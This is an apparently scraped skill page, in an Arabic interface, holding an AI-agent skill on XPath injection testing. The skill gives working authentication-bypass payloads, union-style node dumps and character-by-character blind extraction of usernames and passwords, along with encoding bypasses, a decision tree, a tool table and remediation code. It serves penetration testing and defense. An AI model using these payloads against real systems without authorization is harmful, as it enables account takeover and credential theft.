بنقرة واحدة
xpath-injection-testing
Professional skills and methodology for XPath injection vulnerability testing
التثبيت باستخدام Codex أو Claude انسخ هذا Prompt والصقه في Codex أو Claude أو مساعد آخر ليراجع صفحة Skill ويثبّتها لك.
القائمة
Professional skills and methodology for XPath injection vulnerability testing
التثبيت باستخدام Codex أو Claude انسخ هذا Prompt والصقه في Codex أو Claude أو مساعد آخر ليراجع صفحة Skill ويثبّتها لك.
Entry P1 category router for API security. Use when choosing between API recon, authorization, token abuse, and hidden-parameter workflows before any deeper API topic skill.
Complete bug bounty workflow — recon (subdomain enumeration, asset discovery, fingerprinting, HackerOne scope, source code audit), pre-hunt learning (disclosed reports, tech stack research, mind maps, threat modeling), vulnerability hunting (IDOR, SSRF, XSS, auth bypass, CSRF, race conditions, SQLi, XXE, file upload, business logic, GraphQL, HTTP smuggling, cache poisoning, OAuth, timing side-channels, OIDC, SSTI, subdomain takeover, cloud misconfig, ATO chains, agentic AI), LLM/AI security testing (chatbot IDOR, prompt injection, indirect injection, ASCII smuggling, exfil channels, RCE via code tools, system prompt extraction, ASI01-ASI10), A-to-B bug chaining (IDOR→auth bypass, SSRF→cloud metadata, XSS→ATO, open redirect→OAuth theft, S3→bundle→secret→OAuth), bypass tables (SSRF IP bypass, open redirect bypass, file upload bypass), language-specific grep (JS prototype pollution, Python pickle, PHP type juggling, Go template.HTML, Ruby YAML.load, Rust unwrap), and reporting (7-Question Gate, 4 validation gate
Automate low-impact web vulnerability verification through Burp MCP. Use when Codex is asked to check, reproduce, triage, or write evidence for vulnerabilities using Burp Suite proxy history, Repeater, Collaborator/OOB payloads, HTTP replay, parameter mutation, response diffing, or scanner issues. Also use for mini program/微信小程序 Burp history, wildcard domains like *.example.com, root-domain traffic reviews, arbitrary login/任意登录, session_key/sessionKey/sessionkey/session-key/session key/sess_key/sessKey/wxSessionKey/wx_session_key/wechatSessionKey/thirdSessionKey/decryptKey/openDataKey, jscode2Session/jscode2session/code2Session, openid/unionid, getPhoneNumber, encryptedData/iv, appSecret, or phone-login checks; in those cases enumerate all Hosts and search response bodies for WeChat session leaks before reporting no issue.
Clickjacking playbook. Use when testing whether target pages can be framed, whether X-Frame-Options or CSP frame-ancestors are properly configured, and whether UI redress attacks can trigger sensitive actions.
CORS misconfiguration testing playbook. Use when analyzing cross-origin trust, credentialed browser reads, origin reflection, null origin, JSONP hijacking, preflight policy bugs, and browser-based access to authenticated APIs.
CRLF injection playbook. Use when user input reaches HTTP response headers, Location redirects, Set-Cookie values, or log files where carriage-return/line-feed characters can split or inject content.
استنادا إلى تصنيف SOC المهني
| name | xpath-injection-testing |
| description | Professional skills and methodology for XPath injection vulnerability testing |
AI LOAD INSTRUCTION: XPath injection testing for applications that construct XPath queries from user input. Covers error-based extraction, authentication bypass (tautology, union via
]//*), blind boolean extraction viasubstring(), and XQuery-specific techniques. XPath injection differs from SQL injection: no sleep/time-based blind (use boolean only), different syntax, and XML document structure matters. Targets include login forms, search fields, and XML-based API endpoints.
XPath injection is a vulnerability similar to SQL injection that exploits flaws in XPath query construction, potentially leading to information disclosure and authentication bypass. This skill provides detection, exploitation, and remediation methods for XPath injection.
Applications concatenate user input directly into XPath query strings without sufficient validation or filtering, allowing attackers to modify query logic.
Dangerous code example:
String xpath = "//user[username='" + username + "' and password='" + password + "']";
XPathExpression expr = xpath.compile(xpath);
NodeList nodes = (NodeList) expr.evaluate(doc, XPathConstants.NODESET);
Basic queries:
//user[username='admin']
//user[@id='1']
//user[username='admin' and password='pass']
//user[username='admin' or username='user']
Common functions:
text() — get text contentcount() — count nodessubstring() — substring extractionstring-length() — string lengthcontains() — containment check| Signal | Probe | Why |
|---|---|---|
' or '1'='1 in input? | Submit in login/search field, check response | Classic tautology — bypasses auth or returns all rows |
| Error message shown? | Inject single quote ' and observe | Error may reveal XPath/XML structure |
]//* union` works? | Try `admin')] | //* |
| Boolean extraction? | ' or substring(//user[1]/username,1,1)='a' or ' | Compare positive vs negative responses char-by-char |
# Quick XPath auth bypass test
# Username: admin' or '1'='1
# Password: anything
# If logged in → XPath injection confirmed
Common functionality:
Test special characters:
' or '1'='1
' or '1'='1' or '
' or 1=1 or '
') or ('1'='1
Test logical operators:
' or '1'='1
' and '1'='2
' or 1=1 or '
Basic bypass:
Username: admin' or '1'='1
Password: anything
Query: //user[username='admin' or '1'='1' and password='anything']
More precise bypass:
Username: admin') or ('1'='1
Query: //user[username='admin') or ('1'='1' and password='*']
Enumerate users:
' or 1=1 or '
' or '1'='1
') or 1=1 or ('
Get node count:
' or count(//user)>0 or '
Get specific node:
' or substring(//user[1]/username,1,1)='a' or '
Method 1: Logic bypass
Input: admin' or '1'='1
Query: //user[username='admin' or '1'='1' and password='*']
Result: matches all users
Method 2: Comment bypass
Input: admin')] | //* | //*[('
Query: //user[username='admin')] | //* | //*[('' and password='*']
Method 3: Boolean blind injection
' or substring(//user[1]/username,1,1)='a' or '
' or substring(//user[1]/username,1,1)='b' or '
Enumerate all users:
' or 1=1 or '
Result: returns all user nodes
Extract username:
' or substring(//user[1]/username,1,1)='a' or '
' or substring(//user[1]/username,2,1)='d' or '
Extract each character incrementally
Extract password:
' or substring(//user[1]/password,1,1)='p' or '
Extract password characters incrementally
XPath has no sleep() function, so time-based blind injection is not possible. Use boolean-based blind injection only:
Boolean-based blind injection:
' or substring(//user[1]/username,1,1)='a' or '
Observe response differences (page content / length / status code)
URL encoding:
' or '1'='1 → %27%20or%20%271%27%3D%271
HTML entity encoding:
' → '
" → "
< → <
> → >
Using comments:
' or 1=1 or '
' or '1'='1' or '
Using alternative functions:
substring(//user[1]/username,1,1)
substring(//user[position()=1]/username,1,1)
//user[1]/username/text()[1]
Online tools:
from lxml import etree
from lxml.etree import XPath
# Load XML document
doc = etree.parse('users.xml')
# Test injection
xpath_expr = "//user[username='admin' or '1'='1']"
xpath = XPath(xpath_expr)
results = xpath(doc)
print(results)
Input validation
private static final String[] XPATH_ESCAPE_CHARS =
{"'", "\"", "[", "]", "(", ")", "=", ">", "<", " "};
public static String escapeXPath(String input) {
if (input == null) {
return null;
}
StringBuilder sb = new StringBuilder();
for (int i = 0; i < input.length(); i++) {
char c = input.charAt(i);
if (Arrays.asList(XPATH_ESCAPE_CHARS).contains(String.valueOf(c))) {
sb.append("\\");
}
sb.append(c);
}
return sb.toString();
}
Parameterized queries
// Use XPath variables
String xpath = "//user[username=$username and password=$password]";
XPathExpression expr = xpath.compile(xpath);
XPathVariableResolver resolver = new MapVariableResolver(
Map.of("username", escapedUsername, "password", escapedPassword));
expr.setXPathVariableResolver(resolver);
Whitelist validation
// Only allow specific characters
if (!input.matches("^[a-zA-Z0-9@._-]+$")) {
throw new IllegalArgumentException("Invalid input");
}
Pre-compiled queries
// Predefined query templates
private static final String LOGIN_QUERY =
"//user[username=$1 and password=$2]";
// Use parameter binding
Least privilege
XPath query found in application (login, search, XML API)?
├── Single-quote (') causes error or behavior change?
│ ├── Error message reveals XPath/XML structure?
│ │ └── Error-based extraction: use malformed XPath to extract data
│ ├── No error but response differs from baseline?
│ │ └── Boolean-based blind: use substring() to extract character by character
│ └── Auth bypass possible (login form)?
│ ├── Logical bypass works: ' or '1'='1?
│ │ └── Confirm authentication is bypassed
│ └── Comment-based bypass: admin')] | //* | //*[('?
│ └── Confirm data extraction via union
├── No error or behavior change with single-quote?
│ └── Try encoding bypass: URL-encode, HTML-entity encode
│ └── Any response difference now?
│ └── Proceed with blind boolean extraction
├── Backend may use XQuery instead of XPath 1.0?
│ └── Test XQuery-specific syntax and functions
└── No injection found?
└── Report not reproduced; verify XPath sink and input flow
') and observe error responses or behavior changes' or 1=1 or ', ') or ('1'='1) and check for XML/XPath error messagesadmin' or '1'='1, admin') or ('1'='1 in login fields' or substring(//user[1]/username,1,1)='a' or ' — compare positive vs negative responses' or count(//user)>0 or ', ' or 1=1 or 'substring() across username, password, and other sensitive nodes%27%20or%20%271%27%3D%271), HTML-entity encode special characters| Tool | Use Case |
|---|---|
http_framework_test | Send crafted HTTP requests with XPath injection payloads (' or '1'='1, `admin')] |
http_repeater | Replay and modify XPath injection payloads to test authentication bypass, boolean-based blind extraction, and node enumeration across different input points |
nuclei_scan | Run XPath-injection-specific Nuclei templates to automate detection of XPath injection vulnerabilities in XML-based API endpoints |
api_fuzzer | Fuzz API parameters with XPath injection strings to discover XML query sinks where user input reaches XPath expressions |
' or '1'='1) is a core auth bypass method